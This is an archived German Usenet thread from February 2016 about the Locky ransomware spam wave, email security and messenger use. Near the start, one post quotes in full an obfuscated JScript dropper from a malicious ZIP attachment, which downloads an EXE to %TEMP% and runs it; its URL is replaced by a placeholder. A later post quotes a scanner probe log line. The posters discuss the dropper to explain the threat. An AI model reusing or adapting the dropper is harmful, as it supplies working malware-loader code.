            Mit Sicherheit    |       http://fsayanne.tprac.de/

[toc] | [prev] | [next] | [standalone]

#244981

From	Michael Bode <m.g.bode@web.de>
Date	2016-02-24 22:04 +0100
Message-ID	<dj6k7kFdaq4U1@mid.individual.net>
In reply to	#244979

Am 24.02.2016 um 21:49 schrieb Karsten Düsterloh:
> Michael Bode aber hob an zu reden und schrieb:
>>> Ich muss das Ding glatt mal in einer ausprobieren.
>>
>> VM natürlich.
> 
> Das Skript ist extrem unspektulär — und funktioniert so auch nur für die
> Windows-Freunde (Malware-URL entfernt):
> 
> 
> var ymPnmKX= this['ActiveXObject'];
> var CaptvRev = new ymPnmKX('WScript.Shell');
>         var fPqiIay = CaptvRev['ExpandEnvironmentStrings']('%TEMP%') +
> '/fXBvKHcBd.exe';
>         var EFeXdn = new ymPnmKX('MSXML2.XMLHTTP');
>         EFeXdn['onreadystatechange'] = function() {
>         if (EFeXdn['readystate'] === 4) {
>                 var NfEtY = new ymPnmKX('ADODB.Stream');
>                 NfEtY['open']();
>                 NfEtY['type'] = 1;
>                 NfEtY['write'](EFeXdn['ResponseBody']);
>                 NfEtY['position'] = 0;
>                 NfEtY['saveToFile'](fPqiIay, 2);
>                 NfEtY['close']();
>         };
>     };
>     try {
>     var    cXBGW = 'Run';
>         EFeXdn['open']('GET' ,'hierstandeinemalwareurl', false);
>         EFeXdn['send']();
>         CaptvRev [cXBGW](fPqiIay, 1, false);
>     } catch (ajg9ggxFs) {};
> 
> 
> Schlimm ist hier maximal, daß sowas 2016 in einer Mail noch ausgeführt
> wird — der Vektor ist doch uralt?!

Ausgeführt wird es doch vom Opfer höchstpersönlich, wenn ich das richtig
verstanden habe.

[toc] | [prev] | [next] | [standalone]

#244982

From	Michael Bode <m.g.bode@web.de>
Date	2016-02-24 22:13 +0100
Message-ID	<dj6knqFdf0hU1@mid.individual.net>
In reply to	#244981

Am 24.02.2016 um 22:06 schrieb Dr. Joachim Neudert:
> Am 24.02.16 um 22:04 schrieb Michael Bode:
> 
>>> Schlimm ist hier maximal, daß sowas 2016 in einer Mail noch ausgeführt
>>> wird — der Vektor ist doch uralt?!
>>
>> Ausgeführt wird es doch vom Opfer höchstpersönlich, wenn ich das richtig
>> verstanden habe.
>>
> 
> Klar.
> 
> "Wenn sie die Rechnung nicht korrekt  anzeigen  können, aktivieren sie
> Macros" heißt es doch in einer der Mails...

Ich meinte jetzt die ZIP mit dem Jscript drin.

[toc] | [prev] | [next] | [standalone]

#245000

From	"Dr. Joachim Neudert" <neudert@5sl.org>
Date	2016-02-25 07:54 +0100
Message-ID	<nam8eh$nne$2@news.albasani.net>
In reply to	#244981

Am 24.02.16 um 22:22 schrieb Karsten Düsterloh:

>> Ausgeführt wird es doch vom Opfer höchstpersönlich, wenn ich das richtig
>> verstanden habe.
> 
> Ach ja, stimmt.
> 
> Das ZIP in der Mail enthält nur dieses JS, welches dann den Kram
> nachlädt. Das ZIP-Öffnen ist (in der Regel) unkritisch, damit ist das
> Mailprogramm raus.
> Danach muß aus dem ZIP-Programm oder sonstwie das JS ausgeführt werden,
> und das startet die EXE …
> 
> Karsten
> 

Offenbar machen das genügend Leute,  um ökonomisch interessant zu sein.
Curiosity killed the cat.

[toc] | [prev] | [next] | [standalone]

#245016

From	Lothar Frings <Lothar.Frings@gmx.de>
Date	2016-02-24 23:56 -0800
Message-ID	<82af3773-22ad-43d7-951b-e6a04769b5e5@googlegroups.com>
In reply to	#245000

Am Donnerstag, 25. Februar 2016 07:54:10 UTC+1 schrieb Dr. Joachim Neudert:
> Am 24.02.16 um 22:22 schrieb Karsten Düsterloh:
> 
> >> Ausgeführt wird es doch vom Opfer höchstpersönlich, wenn ich das richtig
> >> verstanden habe.
> > 
> > Ach ja, stimmt.
> > 
> > Das ZIP in der Mail enthält nur dieses JS, welches dann den Kram
> > nachlädt. Das ZIP-Öffnen ist (in der Regel) unkritisch, damit ist das
> > Mailprogramm raus.
> > Danach muß aus dem ZIP-Programm oder sonstwie das JS ausgeführt werden,
> > und das startet die EXE ...
> > 
> > Karsten
> > 
> 
> Offenbar machen das genügend Leute,  um ökonomisch interessant zu sein.
> Curiosity killed the cat.

100 Mio Adressaten, 1% Blödis - das rechnet sich offenbar.

[toc] | [prev] | [next] | [standalone]

#245027

From	Michael Pachta <mipani@gmx.de>
Date	2016-02-25 10:02 +0100
Message-ID	<dj7u9kFmueaU1@mid.individual.net>
In reply to	#245016

Am 25.02.2016 um 08:56 schrieb Lothar Frings:
> Am Donnerstag, 25. Februar 2016 07:54:10 UTC+1 schrieb Dr. Joachim Neudert:
>> Offenbar machen das genügend Leute,  um ökonomisch interessant zu sein.
>> Curiosity killed the cat.
> 
> 100 Mio Adressaten, 1% Blödis - das rechnet sich offenbar.

Woraus wir schließen dürfen, dass Angriffe dieser Art in Zukunft
zunehmen werden. Wer mit ONUs (Otto Normalusern) zu tun hat, möge diese
bitte auf diese Gefahr hinweisen. Wie eine nicht-repräsentative Umfrage
in meinem persönlichen Umfeld ergab, haben die meisten von dieser Gefahr
noch nichts gehört.

M.

[toc] | [prev] | [next] | [standalone]

#245080

From	Stefan+Usenet@Froehlich.Priv.at (Stefan Froehlich)
Date	2016-02-25 14:44 +0000
Message-ID	<7t56cf131ai652an3e8%sfroehli@Froehlich.Priv.at>
In reply to	#245027

On Thu, 25 Feb 2016 12:16:37 Ralph A. Schmid, dk5ras wrote:
> "Ralph A. Schmid, dk5ras" <ralph@schmid.xxx> wrote:
> Update: Entweder, weil sie hier mitlesen, oder zufällig, aber bei mir
> probieren sie es auch.

Was probieren sie denn da? Ich habe jetzt einmal alle meine Server
angeguckt - keine auffälligen Zugriffe, die nicht auch schon vorher
dagewesen wären.

> Mein armes serverchen kommt etwas ins Schwitzen, wenn da x php-Instanzen
> am Rödeln sind, aber mehr scheint nicht zu passieren. 

Ungültige Zugriffe sollten eigentlich keinen Server ins Schwitzen bringen,
wenn es nicht gerade ein paar 100 pro Sekunde sind. 

Servus,
   Stefan

-- 
http://kontaktinser.at/ - die kostenlose Kontaktboerse fuer Oesterreich
Offizieller Erstbesucher(TM) von mmeike

2016! Das Jahr des reinen Erfolgs von Stefan.
(Sloganizer)

[toc] | [prev] | [next] | [standalone]

#245088

From	Stefan+Usenet@Froehlich.Priv.at (Stefan Froehlich)
Date	2016-02-25 15:04 +0000
Message-ID	<3t56cf17d0i7212n3e8%sfroehli@Froehlich.Priv.at>
In reply to	#245080

On Thu, 25 Feb 2016 16:00:04 Ralph A. Schmid, dk5ras wrote:
> >Ungültige Zugriffe sollten eigentlich keinen Server ins Schwitzen
> >bringen, wenn es nicht gerade ein paar 100 pro Sekunde sind.
 
> "Schwitzen" ist übertrieben, aber Speicherverbrauch und CPU-Last gingen
> halt bissl hoch. Das ist ja auch kein Server, sondern nur ein Serverchen,
> sprich, ein Notebook vom Ende des letzten Jahrzehnts.

Na ok, dem sei das gestattet.

> Das Schöne ist, die, die 'n webserver hacken wollen, erwarten da eine
> Linux-Kiste. So ein Pech aber auch, gibts da nicht :) Zeigt schön, daß
> Linux nicht die oft postulierte heile Welt ist, es wird da, wo es
> vorherrscht, auch bevorzugt angegriffen. Bei webservern zum Beispiel. 

Das Problem scheint mir ja primär WordPress-spezifisch zu sein, wenn
ich den Artikel beim Drüberfliegen richtig verstanden habe. Kann man
verwenden, muss man aber nicht.

Servus,
   Stefan 

-- 
http://kontaktinser.at/ - die kostenlose Kontaktboerse fuer Oesterreich
Offizieller Erstbesucher(TM) von mmeike

Entbehrlich und doch ungewöhnlich?! Stefan - nicht nur für fröhliche Stunden.
(Sloganizer)

[toc] | [prev] | [next] | [standalone]

#245102

From	Stefan+Usenet@Froehlich.Priv.at (Stefan Froehlich)
Date	2016-02-25 16:06 +0000
Message-ID	<1t56cf2654ib7en3e8%sfroehli@Froehlich.Priv.at>
In reply to	#245080

On Thu, 25 Feb 2016 16:10:55 Dr. Joachim Neudert wrote:
> Am 25.02.16 um 16:00 schrieb Ralph A. Schmid, dk5ras:
> >  Zeigt schön, daß
> > Linux nicht die oft postulierte heile Welt ist, es wird da, wo es
> > vorherrscht, auch bevorzugt angegriffen. Bei webservern zum Beispiel. 
> > 
> > 
> > -ras
> > 
> Absolut nicht. Unser Linux Server steht frei im Internet und wird
> laufend attackiert.

Sicherlich, wenn man so etwas:

| 23.101.142.0 - - [21/Feb/2016:11:47:04 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 1305 "-" "ZmEu" 23283

...als Attacke definiert. Deren Zahl eignet sich auch immer ganz
hervorragend, um in Management Summaries gute Figur zu machen.

Servus,
   Stefan

-- 
http://kontaktinser.at/ - die kostenlose Kontaktboerse fuer Oesterreich
Offizieller Erstbesucher(TM) von mmeike

2016! Das Jahr des Aufstiegs von Stefan.
(Sloganizer)

[toc] | [prev] | [next] | [standalone]

#245814

From	Andreas Fecht <forum@aftec.de>
Date	2016-03-04 16:25 +0100
Message-ID	<nbc9e3$csb$1@news.albasani.net>
In reply to	#244981

Andreas Fecht schrieb:
> Dr. Joachim Neudert schrieb:
>
>> "Wenn sie die Rechnung nicht korrekt  anzeigen  können, aktivieren sie
>> Macros" heißt es doch in einer der Mails...
>
> Bin mal gespannt, ob Ritsch in der nächsten c't mit 'nem Cartoon auf den Locky triggert.
> Freue mich jetzt schon drauf. :-)
> Der trifft immer voll auf den Nerv!

Wusst ich's doch -> c't 6/2016,
oder Ritsch liest hier doch noch mit.

Gruß an alle

[toc] | [prev] | [next] | [standalone]

#244985

From	Michael Bode <m.g.bode@web.de>
Date	2016-02-24 22:20 +0100
Message-ID	<dj6l41Fdf0hU3@mid.individual.net>
In reply to	#244979

Am 24.02.2016 um 22:00 schrieb Dr. Joachim Neudert:

> (ohne meinen Mailserver könnte ich nicht so schöne Malware-Muster
> raussuchen und verschicken. Auf Threema, iMessage, WhatsApp und Telegram
> erhalte ich sowas bislang nämlich nicht, nur auf dem eMail-Kanal...  :-(   )

Ich krieg die auch nicht auf Signal und Hangouts. Aber meine Telekom
Rechnungen o.ä, kommen da auch nicht rein. Ist die Telekom bei Whatsapp
oder eher bei Telegram?

Und überhaupt, wieviele Messenger braucht man? Du hast schon mal 4, ich
hab einen davon und 2 andere, ich kenne aber auch Leute, die WeChat oder
Line benutzen. Andere benutzen Skype.

[toc] | [prev] | [next] | [standalone]

#244993

From	Dr. Joachim Neudert <neudert@5sl.org>
Date	2016-02-25 06:19 +0000
Message-ID	<nam6d8$3ks$1@news.albasani.net>
In reply to	#244985

Michael Bode <m.g.bode@web.de> wrote:

> Und überhaupt, wieviele Messenger braucht man? Du hast schon mal 4, ich
> hab einen davon und 2 andere, ich kenne aber auch Leute, die WeChat oder
> Line benutzen. Andere benutzen Skype.
> 

Ja ja, Du siehst ja ich hab auch weiter Mail...

Auf unserem Server mail.5sl.org haben wir neben verschlüsselter
Datenübertragung jetzt auch die verschlüsselte Authentisierung eingeführt,
und ein neues Zertifikat installiert. Glaubst du unsere User im Bürgernetz
schaffen das selber? Mein E-Mail Ordner läuft über vor Anfragen wie man das
jetzt auf den verschiedensten Mail Clients und Windows Versionen und Handys
dieser Welt umsetzen soll. Wissen wir auch nicht. Wir haben auch nicht
alles in jeder Version am laufen.
Die meisten oder viele User scheitern.

Früher hat es das alles nicht gebraucht, da hat E-Mail noch funktioniert.
Heute geht es nur wenn ein Riesenkonzern wie Google oder GMX mit eigenem
Client die Leute an die Hand nimmt. Und gleich in seinem eigenen System
fest einsperrt.

-- 
please forgive my iPhone typos -sent via Newstap

[toc] | [prev] | [next] | [standalone]

#244997

From	Michael Bode <m.g.bode@web.de>
Date	2016-02-25 07:46 +0100
Message-ID	<dj7m9vFl1rhU1@mid.individual.net>
In reply to	#244993

Am 25.02.2016 um 07:19 schrieb Dr. Joachim Neudert:

> Auf unserem Server mail.5sl.org haben wir neben verschlüsselter
> Datenübertragung jetzt auch die verschlüsselte Authentisierung eingeführt,
> und ein neues Zertifikat installiert. Glaubst du unsere User im Bürgernetz
> schaffen das selber? Mein E-Mail Ordner läuft über vor Anfragen wie man das
> jetzt auf den verschiedensten Mail Clients und Windows Versionen und Handys
> dieser Welt umsetzen soll. Wissen wir auch nicht. Wir haben auch nicht
> alles in jeder Version am laufen.
> Die meisten oder viele User scheitern.

Ihr müsst den Leuten, die es schaffen, einen Einkaufsgutschein von
Zalando versprechen. Wenn am Ende Schuhe winken, schaffen die Mädels
alles. Und die Kerle wollen dann auch nicht als Totalversager dastehen.

> Früher hat es das alles nicht gebraucht, da hat E-Mail noch funktioniert.
> Heute geht es nur wenn ein Riesenkonzern wie Google oder GMX mit eigenem
> Client die Leute an die Hand nimmt. Und gleich in seinem eigenen System
> fest einsperrt.

Eben nicht. Man kann von einem GMX Account immer noch eine Mail an eine
GMail Adresse schicken und umgekehrt. Whatsappe mir mal was an meinen
Signal Account.

[toc] | [prev] | [next] | [standalone]

#244998

From	"Dr. Joachim Neudert" <neudert@5sl.org>
Date	2016-02-25 07:52 +0100
Message-ID	<nam8c6$nne$1@news.albasani.net>
In reply to	#244997

Am 25.02.16 um 07:46 schrieb Michael Bode:
> Am 25.02.2016 um 07:19 schrieb Dr. Joachim Neudert:
> 
>> Auf unserem Server mail.5sl.org haben wir neben verschlüsselter
>> Datenübertragung jetzt auch die verschlüsselte Authentisierung eingeführt,
>> und ein neues Zertifikat installiert. Glaubst du unsere User im Bürgernetz
>> schaffen das selber? Mein E-Mail Ordner läuft über vor Anfragen wie man das
>> jetzt auf den verschiedensten Mail Clients und Windows Versionen und Handys
>> dieser Welt umsetzen soll. Wissen wir auch nicht. Wir haben auch nicht
>> alles in jeder Version am laufen.
>> Die meisten oder viele User scheitern.
> 
> Ihr müsst den Leuten, die es schaffen, einen Einkaufsgutschein von
> Zalando versprechen. Wenn am Ende Schuhe winken, schaffen die Mädels
> alles. Und die Kerle wollen dann auch nicht als Totalversager dastehen.
> 
>> Früher hat es das alles nicht gebraucht, da hat E-Mail noch funktioniert.
>> Heute geht es nur wenn ein Riesenkonzern wie Google oder GMX mit eigenem
>> Client die Leute an die Hand nimmt. Und gleich in seinem eigenen System
>> fest einsperrt.
> 
> Eben nicht. Man kann von einem GMX Account immer noch eine Mail an eine
> GMail Adresse schicken und umgekehrt. Whatsappe mir mal was an meinen
> Signal Account.
> 

GMX war ein schlechteres Beispiel als Google Mail.

Für Google Mail kommen die Handys schon mit vorkonfiguriertem Account
daher (auf dem iMac: Neuer Mailaccount: iCloud GMail Yahoo Exchange sind
vorgegeben).

Klar, so können sie es .

 Dass Google sich in seinen Nutzungsbedingungen einräumt, die Mail zu
lesen und zu analysieren auf werberelevante Stichworte  und das dann
auch auszunutzen um persönliche relevante Werbung zu generieren, steht
nicht dabei.

Aber einzurichten ist es viel leichter als ein Bürgernetzaccount.

[toc] | [prev] | [next] | [standalone]

#245020

From	"Ralph A. Schmid, dk5ras" <ralph@schmid.xxx>
Date	2016-02-25 09:08 +0100
Message-ID	<jidtcb18vem12j1mttj3gh4cdr4f1hqp6d@4ax.com>
In reply to	#244979

"Dr. Joachim Neudert" <neudert@5sl.org> wrote:

>Nur um Euch mal 'nen Eindruck zu geben, warum ich - als einer der
>Verantwortlichen für die Bürgernetz-Mail und den Mailserver- eMail schon
>für ziemlich kaputt halte...

Damit bist Du eher alleine, und das ist auch gut so. 


-ras

-- 
Ralph A. Schmid
http://www.schmid.xxx/ http://www.db0fue.de/
http://www.bclog.de/ http://www.kabuliyan.de/

[toc] | [prev] | [next] | [standalone]

#245023

From	Lothar Frings <Lothar.Frings@gmx.de>
Date	2016-02-25 00:39 -0800
Message-ID	<c3159a1f-fefe-4c14-8681-b4da588ec985@googlegroups.com>
In reply to	#245020

Dr. Joachim Neudert tat kund:

> Das große Dialysezentrum und medizinische Versorgungszentrum in
> Memmingen hat seit Samstag seine E-Mail komplett abgeschaltet.

Den Zugriff auf die Webmail-Provider hoffentlich auch.

[toc] | [prev] | [next] | [standalone]

#245025

From	Lothar Frings <Lothar.Frings@gmx.de>
Date	2016-02-25 00:54 -0800
Message-ID	<95a11c25-a91e-4dd3-a999-45144e0e717c@googlegroups.com>
In reply to	#245023

Dr. Joachim Neudert tat kund:

> Am 25.02.16 um 09:39 schrieb Lothar Frings:
> > Dr. Joachim Neudert tat kund:
> > 
> >> Das große Dialysezentrum und medizinische Versorgungszentrum in
> >> Memmingen hat seit Samstag seine E-Mail komplett abgeschaltet.
> > 
> > Den Zugriff auf die Webmail-Provider hoffentlich auch.
> > 
> 
> Letztlich ist das halt ein großer kommerzieller Betrieb mit vielen
> Mitarbeitern, und die haben nach Analyse der Situation festgestellt: Der
> mögliche Schaden überwiegt den möglichen Nutzen von E-Mail heutzutage.

Würde mich interessieren, nach welcher Formel sie das über 
viele Jahre berechnet haben.

[toc] | [prev] | [next] | [standalone]

#245033

From	Lothar Frings <Lothar.Frings@gmx.de>
Date	2016-02-25 01:55 -0800
Message-ID	<c16e6679-7f8c-40a7-beea-fd4d0f8aa461@googlegroups.com>
In reply to	#245025

Dr. Joachim Neudert tat kund:

> Am 25.02.16 um 09:54 schrieb Lothar Frings:
> 
> >>> Dr. Joachim Neudert tat kund:
> >>>
> >>>> Das große Dialysezentrum und medizinische Versorgungszentrum in
> >>>> Memmingen hat seit Samstag seine E-Mail komplett abgeschaltet.
> >>>
> >>> Den Zugriff auf die Webmail-Provider hoffentlich auch.
> >>>
> >>
> >> Letztlich ist das halt ein großer kommerzieller Betrieb mit vielen
> >> Mitarbeitern, und die haben nach Analyse der Situation festgestellt: Der
> >> mögliche Schaden überwiegt den möglichen Nutzen von E-Mail heutzutage.
> > 
> > Würde mich interessieren, nach welcher Formel sie das über 
> > viele Jahre berechnet haben.
> > 
> 
> 
> Das kann man entscheiden, wenn einem der Laden gehört und man mit seinem
> investierten Geld eigenverantwortlich drinsteckt. Das ist das Wesen der
> Selbständigkeit und Eigenverantwortung.
> 
> Und die haben entschieden: Weg mit dem Müll.

Natürlich kann man das entscheiden. Ich dachte nur,
es gebe eine rationale Basis dafür. Das fand ich so 
esoterisch, daß ich es gern mal gesehen hätte.
Aber das war dann wohl eher eine Bauchentscheidung.

[toc] | [prev] | [next] | [standalone]

Page 1 of 7 [1] 2 3 4 5 6 7 Next page →

csiph-web

Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. "

Contents

#244977 — Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. "

#244978

#244979

#244981

#244982

#245000

#245016

#245027

#245080

#245088

#245102

#245814

#244985

#244993

#244997

#244998

#245020

#245023

#245025

#245033